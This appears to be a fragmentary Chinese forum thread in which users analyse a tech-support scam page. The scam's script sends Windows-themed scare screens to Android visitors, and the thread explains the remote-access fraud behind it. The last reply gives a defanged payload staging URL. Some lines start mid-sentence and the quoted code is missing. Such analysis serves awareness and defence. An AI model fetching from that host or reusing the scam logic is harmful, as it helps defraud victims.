为什么安卓会收到 Windows 的恐吓?
mac 这三个字母。Android 或 Linux,并不包含 mac,所以 /mac/i.test(p) 的结果是 false。"win",并在请求头附带 ?platform=win。黑客的服务器收到指令,就会把准备好的 Windows 专属恐吓代码(比如伪造的 Windows Defender 界面、蓝屏死机画面)下发给安卓手机。安卓用户实际看到的荒诞场景:
Ctrl+Alt+Delete(手机根本没有这些键)。为什么黑客不防范这一点?
这种技术支持诈骗(Tech Support Scam)的最终目的,是诱导受害者拨打页面上的 400 或海外客服电话,让假冒的“微软/苹果技术人员”通过远程控制软件(如 AnyDesk、TeamViewer)接管用户的电脑,从而勒索钱财。
黑客的这套剧本主要是针对电脑端(Desktop)设计的。他们可能在最外层的广告投放或者邮件群发阶段,就已经通过流量劫持系统把手机用户的流量过滤掉了(例如将手机端直接重定向到其他博彩或色情网站)。这段代码里的二极管判断,只是为了在“确实放进来的电脑端用户”里,区分出 Mac 和 PC 而已。
诈骗手法越来越高超了,大家小心
吓人~
这些都没啥稀奇的,你只是见得少 ![]()
这个电话打过去,接的说不定就是印度人:Sir, your computer got virus ![]()
那就真没法根据口音区分官方客服还算诈骗的 ![]()
网站核心代码已失效,预期情况是向跳板服务器https://seahorse-app-yiy4q[.]ondigitalocean[.]app/data?platform=(mac/win)拉取本体,但是现在目标域名已无 DNS 解析。